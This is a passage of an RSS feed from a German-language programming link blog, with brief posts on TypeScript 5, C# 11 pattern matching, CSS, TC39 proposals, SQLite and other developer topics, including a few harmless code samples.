</content:encoded><language>de-DE</language><category>lego</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/02/0.html</guid><pubDate>Wed, 02 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/TypeScript/milestone/175&quot;&gt;Der Meilenstein für TypeScript 5&lt;/a&gt;. Darunter:&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://github.com/microsoft/TypeScript/pull/50820&quot;&gt;Implement the Stage 3 Decorators Proposal&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Das wird ziemlich schlimm. TS hat ja bereits Decorators, die von Angular- (und TypeORM-) Menschen schon viel benutzt werden. Ich war nie ein Fan davon. Dazu kommt, dass sich das Proposal, auf dem die Decorator baiseren, in der Zwischenzeit mehr als 2x verändert hat. Das wird noch interessant, wie das Ökosystem diese Migration schaffen wird.&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://github.com/microsoft/TypeScript/issues/27891&quot;&gt;Reduce typescript package size&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;TS ist mittlerweile &amp;gt;60 MiB groß. TS selbst benutzt intern keine ES-Module, sondern namespaces. Das ist ein überbleibsel aus den Anfängen von TS, als es noch viele Dinge aus C# übernommen hat (wie z. B. Enums). Jetzt gibt es &lt;a href=&quot;https://github.com/microsoft/TypeScript/pull/51387&quot;&gt;einen PR&lt;/a&gt;, der das ändert. Das TS-Team ist damit das erste Mal damit konfrontiert, dass sie sehr viele Modul-Imports haben werden, da es die bei den Namespaces vorher nicht gab. Das wird die (aus meiner Sicht sehr einfache) Codestruktur des Compilers vielleicht langfristig ändern.&lt;/p&gt;
&lt;p&gt;Aber das ist nicht, warum ich diesen PR verlinke. Sie konnten die Package-Größe von &amp;gt;60 MiB auf ~35 MiB senken. Wie? Neben ein bisschen Tree-Shaking und entfernen von identischen Dateien haben sie in einem Build-Prozess aus 4 Spaces einfach 2 Spaces gemacht. &lt;a href=&quot;https://news.ycombinator.com/item?id=33441469&quot;&gt;Hier&lt;/a&gt; hat jemand einen proof-of-concept gebracht und gezeigt, dass man noch mal 2 MiB runter bekommt, wenn man die 2 Spaces durch einen Tab ersetzt. Irrelevant für Komprimierung, aber ggf. relevant für einen Parser, der 2 MiB weniger lesen muss.&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://github.com/microsoft/TypeScript/issues/51000&quot;&gt;TypeScript Flag Deprecation Plan&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sie fangen an, alte Flags aus der Anfangszeit zu deprecaten und bis 2024 entfernen. Sowas gab es bisher noch nicht, daher müssen sie erstmal schauen, wie sie dort vorgehen. Die Kandidaten für die ersten Deprecations gefallen mir schon:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;noFallthroughCasesInSwitch&lt;/code&gt; - style concern; use a linter if this is not allowed in your coding style&lt;/li&gt;
&lt;li&gt;&lt;code&gt;target: &quot;ES3&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;module&lt;/code&gt; - Remove &lt;code&gt;umd&lt;/code&gt;, &lt;code&gt;system&lt;/code&gt; and &lt;code&gt;amd&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ein weiteres Ticket, das mir persönlich nicht gefehlt, aber vielen anderen: &lt;a href=&quot;https://github.com/microsoft/TypeScript/issues/37582&quot;&gt;Allow voluntary .ts suffix for import paths&lt;/a&gt;.
Der Hintergrund ist, dass TS keine Import-Pfade umschreibt. Was also in einem &lt;code&gt;import * as a from &quot;foo&quot;&lt;/code&gt; steht, bleibt da so. Mit dem Aufkommen von ESM muss man u. A. für Browser- und Deno-Kompatibilität ein &quot;.js&quot; dort dran hängen. Dann befindet man sich in der Situation, in der man in einer &lt;code&gt;.ts&lt;/code&gt;-Datei plötzlich eine andere &lt;code&gt;.ts&lt;/code&gt;-Datei als &lt;code&gt;.js&lt;/code&gt;-Datei importieren muss.
Warum mich das nicht stört: Wenn man TS als reinen Type-Checker sieht, ergibt das Sinn, wenn TS ist nichts weiteres als JS mit Typen. Im Extremfall wird es ausschließlich als Type-Checker verwendet (neuere Frontend-Stacks tun genau das, seitdem Babel und ESBuild TS-Syntax unterstützen).
Das wird durch das &lt;a href=&quot;https://github.com/tc39/proposal-type-annotations&quot;&gt;Type-Annotation-Proposal&lt;/a&gt; natürlich noch auf die Spitze getrieben. Letztendlich wäre dann die Idee: Ändere deine Dateiendung wieder zurück auf &lt;code&gt;.js&lt;/code&gt; und du hast von TS überprüften Code. Wenn man aber in der Zwischenzeit überall seine Importe auf &lt;code&gt;.ts&lt;/code&gt; geändert hat, um seine OCD zu befriedigen, hat man an der Stelle mehr arbeit.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/07/0.html</guid><pubDate>Mon, 07 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein interessanter Post darüber, wie ein einziger Algorithmus von mehreren Leuten mit unterschiedlichen Kenntnissen implementiert wurde: &lt;a href=&quot;https://scribe.citizen4.eu/from-junior-to-genius-an-optimization-story-ab20afc8159d&quot;&gt;From Junior to Genius: an optimization story&lt;/a&gt;
Ganz besonders gut finde ich, dass man sieht, dass &quot;der hacker way&quot; nicht immer der Beste ist. Speziell wegen der Lesbarkeit würde ich persönlich an der Stelle dann lieber eine der anderen Lösungen bevorzugen, selbst, wenn sie langsamer sind.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>performance</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/09/0.html</guid><pubDate>Wed, 09 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/welcome-to-csharp-11/&quot;&gt;C# 11&lt;/a&gt; und &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/announcing-dotnet-7/&quot;&gt;.NET 7&lt;/a&gt; sind da.&lt;/p&gt;
&lt;p&gt;C# hat jetzt wirklich schon echt umfangreiches Pattern-Matching. Z. B. bei dieser Variante von AddAll sieht man das ganz gut:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  T AddAll&amp;lt;T&amp;gt;(params T[] elements) where T : IMonoid&amp;lt;T&amp;gt; =&amp;gt;
    elements switch
  {
      [] =&amp;gt; T.Zero,
      [var first, ..var rest] =&amp;gt; first + AddAll&amp;lt;T&amp;gt;(rest),
  };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/operators/patterns#list-patterns&quot;&gt;Die List-Patterns&lt;/a&gt; lassen code auch schon sehr kompakt (aber zumindest für C# sehr ungewohnt) schreiben und funktionieren auch auf Strings und Char-Spans:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void MatchMessage(string message)
{
    var result = message is [&apos;a&apos; or &apos;A&apos;, .. var s, &apos;a&apos; or &apos;A&apos;]
        ? $&quot;Message {message} matches; inner part is {s}.&quot;
        : $&quot;Message {message} doesn&apos;t match.&quot;;
    Console.WriteLine(result);
}

MatchMessage(&quot;aBBA&quot;);  // output: Message aBBA matches; inner part is BB.
MatchMessage(&quot;apron&quot;);  // output: Message apron doesn&apos;t match.

void Validate(int[] numbers)
{
    var result = numbers is [&amp;lt; 0, .. { Length: 2 or 4 }, &amp;gt; 0] ? &quot;valid&quot; : &quot;not valid&quot;;
    Console.WriteLine(result);
}

Validate(new[] { -1, 0, 1 });  // output: not valid
Validate(new[] { -1, 0, 0, 1 });  // output: valid
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zu .NET 7 hab ich ja schon einiges hier, vieles davon ist im Ankündigungspost auch noch mal drin.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/13/0.html</guid><pubDate>Sun, 13 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man sollte ja eigentlich immer calloc statt malloc verwenden. Das häufigste Argument ist, dass man bei calloc immer genullten Speicher bekommt, was man bei malloc erst von Hand nachbauen muss (viele aber dann einfach nicht machen). Hier sind noch zwei weitere Argumente: &lt;a href=&quot;https://vorpus.org/blog/why-does-calloc-exist/&quot;&gt;Why does calloc exist?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/13/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/13/1.html</guid><pubDate>Sun, 13 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://johnhw.github.io/umap_primes/index.md.html&quot;&gt;What do numbers look like?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/15/0.html</guid><pubDate>Tue, 15 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein richtig guter Post über Pixels, Rem und Em in CSS: &lt;a href=&quot;https://www.joshwcomeau.com/css/surprising-truth-about-pixels-and-accessibility/&quot;&gt;The Surprising Truth About Pixels and Accessibility&lt;/a&gt;.
Auch, wenn man den Unterschied schon kennt, ist es sinnvoll zu lesen!&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>a11y</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/15/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/15/1.html</guid><pubDate>Tue, 15 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich hatte mal &lt;a href=&quot;/2021/08/19/2.html&quot;&gt;einen Post verlinkt&lt;/a&gt;, in dem erklärt wurde, wann React re-rendert. Gerade habe ich diesen schönen Post gefunden: &lt;a href=&quot;https://www.joshwcomeau.com/react/why-react-re-renders/&quot;&gt;Why React Re-Renders&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Hier ist noch ein ergänzender Talk: https://www.youtube.com/watch?v=lGEMwh32soc&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/21/0.html</guid><pubDate>Mon, 21 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein Spiel für die Mittagspause: &lt;a href=&quot;https://cantunsee.space&quot;&gt;Can&apos;t Unsee&lt;/a&gt;. Man muss aus 2 Designs immer das auswählen, das weniger schlimm ist. Bei manchen hat man wirklich Tomaten auf den Augen!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/21/1.html</guid><pubDate>Mon, 21 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://arantius.github.io/web-color-wheel/&quot;&gt;Die benamten Farben aus CSS, wenn man ein Color-Wheel daraus baut&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/11/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/11/28/0.html</guid><pubDate>Mon, 28 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://sirupsen.com/index-merges&quot;&gt;Index Merges vs Composite Indexes in Postgres and MySQL&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/12/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/12/06/0.html</guid><pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Neues aus TC39:&lt;/p&gt;
&lt;p&gt;Es wird daran gearbeitet, Übersetzungen direkt ok Browser zu machen: &lt;a href=&quot;https://github.com/tc39/proposal-intl-messageformat&quot;&gt;&lt;code&gt;Intl.MessageFormat&lt;/code&gt;&lt;/a&gt; und &lt;a href=&quot;https://github.com/tc39/proposal-intl-message-resource&quot;&gt;den Parser dazu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Die Syntax dazu sieht so aus:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Note! MF2 syntax is under development; this may still change

greeting = {Hello {$place}!}

new_notifications =
  match {$count}
  when 0   {You have no new notifications}
  when one {You have {$count} new notification}
  when *   {You have {$count} new notifications}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Schon ganz interessant. Das Format &quot;MF2&quot; wird allerdings nicht von den Browserherstellern standardisiert, sondern &lt;a href=&quot;https://github.com/unicode-org/message-format-wg&quot;&gt;vom Unicode-Konsortium&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In Stage 3 sind jetzt:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tc39/proposal-iterator-helpers&quot;&gt;Iterator-Helpers&lt;/a&gt; (filter/map/etc für Iterators)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tc39/proposal-set-methods&quot;&gt;Set Methods&lt;/a&gt;. Ein paar längst überfällige Funktionen für Sets.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tc39/proposal-explicit-resource-management&quot;&gt;Explicit Resource Management&lt;/a&gt;. Das ist ein &lt;code&gt;using&lt;/code&gt;, wie man es aus C# kennt.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/12/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/12/08/0.html</guid><pubDate>Thu, 08 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.php.net/releases/8.2/en.php&quot;&gt;PHP 8.2 ist da&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>php</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/12/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/12/14/0.html</guid><pubDate>Wed, 14 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://fly.io/blog/sqlite-internals-btree/&quot;&gt;SQLite Internals: Pages &amp;amp; B-trees &lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/12/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/12/16/0.html</guid><pubDate>Fri, 16 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://element.io/blog/bundesmessenger-is-a-milestone-in-germanys-ground-breaking-vision/&quot;&gt;Der Bund setzt auf Element (Matrix)&lt;/a&gt; als Messenger für Verwaltungen. Frankreich war da wohl ein guter Vorreiter.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/12/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/12/30/0.html</guid><pubDate>Fri, 30 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/ciniml/WireGuard-ESP32-Arduino&quot;&gt;WireGuard für den ESP32&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/06/0.html</guid><pubDate>Fri, 06 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://buttondown.email/hillelwayne/archive/microfeatures-id-like-to-see-in-more-languages/&quot;&gt;Microfeatures I&apos;d like to see in more languages&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/06/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/06/1.html</guid><pubDate>Fri, 06 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://sc.vern.cc/no-you-cant-manufacture-that-like-apple-does-93bea02a3bbf&quot;&gt;No, You Can’t Manufacture That Like Apple Does&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/08/0.html</guid><pubDate>Sun, 08 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag hatten wir schon lange nicht mehr. Dafür mal etwas neueres: Der &lt;a href=&quot;https://github.com/prataprc/xorfilter&quot;&gt;XOR-Filter&lt;/a&gt; (&lt;a href=&quot;https://arxiv.org/abs/1912.08258&quot;&gt;das Paper dazu&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Abstract:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Bloom filter provides fast approximate set membership while using little memory. Engineers often use these filters to avoid slow operations such as disk or network accesses. As an alternative, a cuckoo filter may need less space than a Bloom filter and it is faster. Chazelle et al. proposed a generalization of the Bloom filter called the Bloomier filter. Dietzfelbinger and Pagh described a variation on the Bloomier filter that can be used effectively for approximate membership queries. It has never been tested empirically, to our knowledge. We review an efficient implementation of their approach, which we call the xor filter. We find that xor filters can be faster than Bloom and cuckoo filters while using less memory. We further show that a more compact version of xor filters (xor+) can use even less space than highly compact alternatives (e.g., Golomb-compressed sequences) while providing speeds competitive with Bloom filters.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/09/0.html</guid><pubDate>Mon, 09 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein AI-basierter &lt;a href=&quot;https://codelanguageconverter.com&quot;&gt;Übersetzer von Code&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/10/0.html</guid><pubDate>Tue, 10 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.thistothat.com&quot;&gt;This to That (Glue Advice)&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/10/1.html</guid><pubDate>Tue, 10 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://garden.bradwoods.io/notes/css/3d&quot;&gt;3D in CSS&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/12/0.html</guid><pubDate>Thu, 12 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das Norway-Problem bei YAML war ja schon einmal hier. Hier ist eine gute Zusammenfassung vieler Probleme bei YAML: &lt;a href=&quot;https://ruudvanasseldonk.com/2023/01/11/the-yaml-document-from-hell&quot;&gt;The yaml document from hell&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/18/0.html</guid><pubDate>Wed, 18 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nolanlawson.com/2022/06/22/style-scoping-versus-shadow-dom-which-is-fastest/&quot;&gt;Style scoping versus shadow DOM: which is fastest?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>performance</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/19/0.html</guid><pubDate>Thu, 19 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://pandoc.org/releases.html&quot;&gt;Pandoc 3 ist da&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/19/1.html</guid><pubDate>Thu, 19 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://vrongmeal.com/blog/everything-about-cap-theorem.html&quot;&gt;Everything you want to know about the CAP theorem&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/19/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/19/2.html</guid><pubDate>Thu, 19 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.oilshell.org/blog/2023/01/garbage-collector.html&quot;&gt;Pictures of a Working Garbage Collector&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/19/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/19/3.html</guid><pubDate>Thu, 19 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SQLite hat aktuell einen concurrent writer. Aktuell arbeiten sie an einer Erweiterung des  DB-Formats, womit diese Limitierung entfällt: &lt;a href=&quot;https://sqlite.org/hctree/doc/hctree/doc/hctree/index.html&quot;&gt;HC-tree&lt;/a&gt;
Der Multi-Process-Support war deshalb immer etwas hakelig. Das zu verbessern &lt;a href=&quot;https://sqlite.org/forum/forumpost/957897f80f44ac2f&quot;&gt;ist jetzt eine Designziel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://sqlite.org/hctree/doc/hctree/doc/hctree/threadtest.wiki&quot;&gt;Hier&lt;/a&gt; sind noch ein paar Benchmarks.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/23/0.html</guid><pubDate>Mon, 23 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls Ihr noch kein &lt;code&gt;:has()&lt;/code&gt; in CSS benutzt habt, diese Beiträge würden Euch sicher gefallen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/more-real-world-uses-for-has/&quot;&gt;More Real-World Uses for &lt;code&gt;:has()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/solved-with-has-vertical-spacing-in-long-form-text/&quot;&gt;Solved With &lt;code&gt;:has()&lt;/code&gt;: Vertical Spacing in Long-Form Text&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/23/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/23/1.html</guid><pubDate>Mon, 23 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein interessanter Artikel über eine Anpassung bei einigen Concurrency-Modellen: &lt;a href=&quot;https://vorpus.org/blog/notes-on-structured-concurrency-or-go-statement-considered-harmful/&quot;&gt;Notes on structured concurrency, or: Go statement considered harmful&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Erinnert ein bisschen an das Konzept von Erlang. Bei Java gibt&apos;s gerade ein Proposal dazu: &lt;a href=&quot;https://openjdk.org/jeps/428&quot;&gt;JEP 428&lt;/a&gt;. Ist auch bereits bekannt aus Kotlin.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/29/0.html</guid><pubDate>Sun, 29 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-0-beta/&quot;&gt;TypeScript 5.0 Beta&lt;/a&gt; ist da.
Zu ein paar Features hatte ich auch hier schonmal &lt;a href=&quot;/2022/11/02/0.html&quot;&gt;berichtet&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/29/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/29/1.html</guid><pubDate>Sun, 29 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Zu Windows-8-Zeiten hat MS ein neues Dateisystem ausgerollt: ReFS. Das haben sie dann etwas abflachen lassen. Es könnte sein, dass ReFS &lt;a href=&quot;https://www.neowin.net/news/it-may-be-time-to-move-on-from-ntfs-as-microsoft-is-quietly-enabling-windows-11-refs-support/&quot;&gt;bei Windows 11 wieder mehr Verwendung findet&lt;/a&gt;. Lange Zeit konnte man es nur auf Windows Server verwenden.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/01/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/01/30/0.html</guid><pubDate>Mon, 30 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://faultlore.com/blah/swift-abi/&quot;&gt;How Swift Achieved Dynamic Linking Where Rust Couldn&apos;t&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/01/0.html</guid><pubDate>Wed, 01 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.backblaze.com/blog/backblaze-drive-stats-for-2022/&quot;&gt;Die Festplatten-Statistiken von Backblaze sind da&lt;/a&gt;. WD schneidet mit Abstand am besten ab.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/01/1.html</guid><pubDate>Wed, 01 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://web.dev/interop-2023&quot;&gt;Hier&lt;/a&gt; ist ein kleiner Bericht über die Anstrengungen der Browserhersteller, mehr Kompatibilität zu haben.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/07/0.html</guid><pubDate>Tue, 07 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://anthonyhobday.com/sideprojects/saferules/&quot;&gt;Visual design rules you can safely follow every time&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/07/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/07/1.html</guid><pubDate>Tue, 07 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://motion-canvas.github.io&quot;&gt;Animationen mit Code erstellen&lt;/a&gt;. Erinnert ein bisschen an &lt;a href=&quot;https://github.com/3b1b/manim&quot;&gt;manim&lt;/a&gt;, die Rendering-Engine von 3blue1brown. Motion-Canvas könnte vielleicht noch async/await verwenden, dann wird das aber schwieriger mit vollautomatisiertem Rendering, denk ich.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/07/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/07/2.html</guid><pubDate>Tue, 07 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=32186203&quot;&gt;Ask HN: What are some cool but obscure data structures you know about?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/11/0.html</guid><pubDate>Sat, 11 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HTML+CSS: &lt;a href=&quot;https://css-tricks.com/the-double-emphasis-thing/&quot;&gt;The Double Emphasis Thing&lt;/a&gt;&lt;/p&gt;
